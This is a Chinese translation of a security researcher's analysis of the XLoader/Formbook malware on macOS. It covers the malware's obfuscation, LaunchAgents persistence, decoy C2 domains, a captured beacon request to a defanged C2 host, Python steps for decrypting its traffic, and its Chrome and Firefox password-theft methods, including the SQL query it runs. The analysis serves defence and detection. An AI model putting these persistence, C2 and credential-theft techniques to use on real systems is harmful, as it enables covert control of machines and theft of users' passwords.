Formbook 恶意软件框架在 macOS 的演变历程 - 嘶吼 RoarTalk – 回归最本质的信息安全,互联网安全新媒体,4hou.com

Formbook 恶意软件框架在 macOS 的演变历程

h1apwn 恶意软件 2021-09-10 11:40:00
收藏

导语:这种恶意软件可以窃取敏感数据并造成严重破坏。如果 macOS 恶意软件的开发人员从 Windows 的类似开发中吸取成功经验,macOS也会存在同样的危险。

macOS 的绝大多数威胁是恶意广告软件,例如 Shlayer、Bundlore、Pirrit 等。与 Windows 相比,很少遇到真正有危害能力的 macOS 恶意软件,这种恶意软件可以窃取敏感数据并造成严重破坏。如果 macOS 恶意软件的开发人员从 Windows 的类似开发中吸取成功经验,macOS也会存在同样的危险。

Formbook是近些年比较活跃的远控软件之一,现在在地下论坛中以新名称 XLoader 出售,并具有使其能够在 macOS 中运行的新功能。

地下论坛中的XLoader广告

图 1 – 地下论坛中的 XLoader 出售广告

但是,直到 2021 年 6 月,才发现该恶意软件的 macOS 样本。当时,我在沙箱中发现了一个可疑的macOS 样本,它在 VirusTotal 上的检测为零(现在已经被各家标注了):

VirusTotal 上零检测的 macOS 恶意样本

图 2 – VirusTotal 上检测率为0的 macOS 恶意样本

此样本生成的网络流量与之前看到的样本非常相似:

XLoader 为 macOS 生成的网络流量

图 3 – XLoader for  macOS 平台上的网络流量

在样本库中搜了一下,很快找到了一个XLoader 样本,此样本有相同的活动 ID“ 09rb ”,可生成类似的网络流量:

XLoader for Windows 生成的网络流量

图 4 – XLoader for Windows 生成的网络流量

在下文中会中详细分析发现的恶意 macOS 样本及其功能。

0x01 分析对抗技术

除了 调用dlsym()函数,XLoader 文件没有导入其他函数。函数名称存储在两个加密缓冲区中,XLoader 解密所需函数的名称并使用dlsym()函数解析地址:

macOS XLoader 反分析技术

图 5 – macOS XLoader 反分析技术

在初始化阶段,XLoader 实现了一个简单的基于ptrace的反调试功能:

macOS XLoader 反调试技术

图 6 – macOS XLoader 反调试技术

0x02 加密字符串

恶意软件使用的大多数文本字符串,例如 HTTP Header和文件名,以及其 C&C 服务器的 URL,都被加密并存储在特殊形式的缓冲区中(encbufs)。加密方法与Formbook和 XLoader for Windows 中使用的加密方法非常相似,但 macOS 版本的 XLoader 具有一些独有的特征。

在 Formbook 和 XLoader 的两个变体中,每个加密缓冲区都预先添加了一个用于访问缓冲区的小函数。一些加密缓冲区包含数据,而其他缓冲区包含用于解密其他缓冲区的密钥。

包含加密数据和密钥的缓冲区被设计为看起来像是有效的函数汇编代码,带有函数序言和末尾的“ retn ”指令:

Formbook 和 macOS XLoader 加密缓冲区

图7 – Formbook 和 macOS XLoader 加密缓冲区

首先,每个缓冲区都被传递给解密函数,它删除了假的序言,并添加了额外的字节,使数据看起来像汇编代码。适用于 macOS 的 XLoader 是 64 位可执行文件;因此,解码功能是为x64汇编实现的,而Windows的XLoader版本使用的是x86汇编。

然后将包含加密数据的解码缓冲区传递给修改后的 RC4 函数。在 Formbook 和 XLoader 的所有变体中,此函数等效于以下 C 代码:

1.png

加密缓冲区的解密流程相当复杂,如下图所示:

解密 XLoader for macOS 中的数据缓冲区

图 8 – XLoader for macOS 中数据缓冲区的解密

上图中的“ layer2_keys ”是使用以下算法为每个加密缓冲区单独计算的:

导出加密缓冲区的解密密钥

图 9 – 导出加密缓冲区的解密密钥

在适用于 Windows 的 XLoader 版本中,加密方案与 Formbook 中的加密方案是相同的,只是加密缓冲区的数量和用途不同。

0x03  持久驻留

在最初运行时,恶意软件会将自身复制到用户主目录中新创建的、随机命名的隐藏文件夹中。应用程序和可执行二进制文件的名称也是随机的。例如:

/Users/user/.wznlVRt83Jsd/HPyT0b4Hwxh.app/Contents/MacOS/HPyT0b4Hwxh

恶意软件使用从加密缓冲区之一中提取的模板为新的应用程序包创建一个Info.plist文件。然后,在一个单独的线程中,XLoader 从新路径运行它的副本。

XLoader 通过在当前用户的 LaunchAgents 文件夹中创建一个随机名称的新文件来设置自启动:

/Users/user/Library/LaunchAgents/com.wznlVRt83Jsd.HPyT0b4Hwxh.plist

安装完成后,XLoader 停止执行,同时在子进程中继续其恶意活动。

0x04 C2地址混淆

XLoader 有两个缓冲区,用于存储其 C&C 服务器的地址。其中一个缓冲区包含以下格式的真实 C&C 服务器的地址:

www.iregentos[.]info/09rb/

另一个缓冲区包含诱饵域名列表,此列表中的域名不是真正的 C&C 面板,仅用于掩盖真正的 C&C 通信。

macOS XLoader 解密缓冲区包含 64 个诱饵域和 C&C URI 的列表

图 10 – macOS XLoader 解密缓冲区包含 64 个诱饵域名和 C&C URI 的列表

XLoader 随机选择 64 个域名中的 16 个,并使用活动 ID 创建一个 URI 列表:

www.briannanbrown[.]com/09rb/ www.franciscobueno[.]guru/09rb/ …

XLoader 从 64 个诱饵域中随机选择 16 个

图 11 – XLoader 随机选择 64 个诱饵域名中的 16 个

在创建的列表中,随机 URI 被替换为从第一个缓冲区中提取的主 URI:

XLoader 将 C&C 服务器的地址插入到列表中的随机位置

图 12 – XLoader 将 C&C 服务器的地址插入到列表中的随机位置

因此,每次恶意软件运行时,创建的列表总是包含来自第一个缓冲区的 URI。这与适用于 Windows 的 XLoader 版本不同,在该版本中,真实 C&C 服务器的地址包含在“诱饵”列表中。但是,应该强调的是,macOS 的 XLoader 版本和活动“09rb”的 Windows共享相同的真实 C&C 服务器“ www.iregentos[.]info ”。

0x05 C&C 通信

C&C 通信中,XLoader 使用 HTTP 协议并根据数据类型使用 GET 或 POST 请求发送数据。

XLoader 在恶意软件运行时循环发送 beacon 请求。请求如下所示:

GET /vpz6/?Tl=tDdHvn8X6rT&qF7xr2rx=Rva7WvGfqee/ASq4k5lYe0dVNkfCuS3Tauh/YI8ic9vhGQpK/u62RmZZV0B HTTP/1.1 Host: www.bostonm[.info Connection: close

XLoader 以 BASE64 编码形式的查询字符串的值之一发送数据。查询字符串中的键是随机生成的,不包含有用的数据。

与使用一层 RC4 加密的 Formbook 不同,在 XLoader 中,数据在两层中进行了 RC4 加密。内部加密层的密钥是根据 C2 URL 使用 DWORD 字节序的 SHA1 实现来计算的。第二层加密的密钥是使用修改后的 RC4 密码(参见上面的mod_rc4_decrypt)和先前为 URI 计算的 SHA1从配置(common_c2_key)中提取的加密缓冲区之一计算得出的。

要解密 XLoader 请求,可以使用以下算法:

1.使用 BASE64 从查询字符串中解码值:

encrypted_data = base64.b64decode("Rva7WvGfqee/ASq4k5lYe0dVNkfCuS3TauhC/YI8ic9vhGQpK/u62RmZZV0B")
#46f6bb5af19fa9e7bf012ab89399587b47553647c2b92dd36ae842fd823c89cf6f8464292bfbbad91999655d01

2.使用修改后的 SHA1计算c2_layer1_key:

h = sha1(b"www.bostonm.info/vpz6/").digest()
c2_layer1_key = b"".join([struct.pack(">I", x) for x in struct.unpack("< IIIII", h)])  # f36e72e54647ffa7187046d3e035d0bd9d10c3c2

3.解码从加密缓冲区中提取的 common_c2_key:

common_c2_key = decode_encbuf(encbuf9)  
# 0cbe4d36992df082c2efc4ec41a9ed571cbf14e9

4.使用mod_rc4_decrypt解密common_c2_key,获取c2_layer1_key和c2_layer2_key:

c2_layer2_key = mod_rc4_decrypt ( common_c2_key, c2_layer1_key )
\# 00ad36f49703cee9023498d594df3b2e568ca3d2

5.使用带有c2_layer2_key 的RC4 解密外部层:

internal_layer = ARC4.new(c2_layer2_key).decrypt(encrypted_data)
#901975c550a7d567ef93b4fdce0324aa9650561b567f4b73cb7da8549b83a84d1f181839155a4c86ee957cdf09

6.使用带有c2_layer1_key 的RC4 解密内部层:

decrypted = ARC4.new(c2_layer1_key).decrypt(internal_layer)
# 'XLNG:572E4DF71.1:OS X 10.14.0 Mojave:cm9vdA=='

在 XLoader for Windows 中,common_c2_key值使用存储在配置中的另一个密钥加密。因此,解密XLoader for Windows 的通信有点困难。

解密数据后,得到在beacon消息中发送的字符串。数据格式类似于 Formbook 恶意软件中的数据格式:

XLNG:572E4DF71.1:OS X 10.14.0 Mojave:cm9vdA==

数据解析:

“ XLNG ” – XLoader 的magic字节。

“ 572E4DF7 ” – 唯一 ID,计算为包含当前用户名和common_c2_key的 32 字节缓冲区的 CRC32/Bzip2 校验和(这可用于验证机器人)。

“ 1.1 ” – 恶意软件版本。

“ OS X 10.14.0 Mojave ” – 操作系统版本。

“ cm9vdA== ” – base64 编码的用户名(在本例中为“root”)。

由僵尸或C&C 服务器发送的所有其他数据均采用 2 层 RC4 加密和 base64 编码。除此之外,macOS XLoader 恶意软件的 C&C 通信与Formbook 通信非常相似。

如果僵尸有任何命令,C&C 服务器会回复 HTTP 响应正文中的数据。

解密后的响应以“XLNG”magic字符串开始和结束,格式如下:

XLNG:572E4DF71.1:OS X 10.14.0 Mojave:cm9vdA==

数据解析:

“ 4 ” – 命令代码(在本例中为“访问 URL”)。

https://maliciouswebsite.com ” – 命令负载。

XLoader 支持以下命令:

2.png

要执行的文件的内容在消息正文中发送(在“ XLNG1 ”之后)。在终止“ XLNG ”magic序列之前,还提供了文件扩展名。XLoader 在当前用户的主目录中创建一个具有随机名称和指定扩展名的文件。例如:

1.下载并运行文件

/Users/user/5JCLglq.sh

然后使用system()函数和命令行“open [filename]”执行下载的文件。

2.访问网址

XLoader收到此命令后执行 shell 命令“ open [URL]”。

3.恢复Firefox 密码

为了获取 Firefox 配置文件,XLoader 枚举“ /Library/Application Support/Firefox/Profiles ”文件夹中的子文件夹。对于每个子文件夹,XLoader 会打开文件“ /Library/Application Support/Firefox/Profiles/[prfile_name]/logins.json ”。XLoader使用“libnss3.dylib”库中的函数“PK11SDR_Decrypt”对“logins.json”文件中的数据进行解密。

4.恢复Chrome 密码

XLoader使用此处描述的相同算法从位于“ /Library/Application Support/Google/Chrome/Default/Login Data ”的 SQLite 数据库中获取保存的 Chrome 密码。

首先,它使用以下查询从 Chrome SQLite 数据库中检索加密密码:

SELECT origin_url, username_value, password_value FROM logins

然后导出解密密钥:

XLoader 获取 Chrome SQLite 数据库的解密密钥

图 13 – XLoader 获取 Chrome SQLite 数据库的解密密钥

最后,它使用 openssl 解密密码:

XLoader 使用 openssl 解密 Chrome 密码

图 14 – XLoader 使用 openssl 解密 Chrome 密码

0x06 分析总结

五年多来,Formbook/XLoader 恶意软件一直是 Windows 用户的主要威胁。最近,这种恶意软件也开始影响 macOS 用户。全球约有 2 亿 macOS 用户,对于 Xloader 的开发者来说,这绝对是一个充满希望的新战场。在野发现了针对 Windows 和 macOS 的恶意样本,它们具有相同的配置并回连相同的 C&C 服务器。这允许攻击者从一个点控制受感染的 Windows 和 macOS 机器。

恶意软件作者显然借鉴了他们在 Windows 恶意软件开发方面的经验,将现有的 Formbook 代码库作为新 XLoader macOS 版本的核心。该恶意软件对反分析技巧、混淆技术和通信加密的使用都大大增加了恶意软件分析的复杂性,这也使得 XLoader 长时间内都没有被发现。

本文翻译自:https://research.checkpoint.com/2021/time-proven-tricks-in-a-new-environment-the-macos-evolution-of-formbook/如若转载,请注明原文地址
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论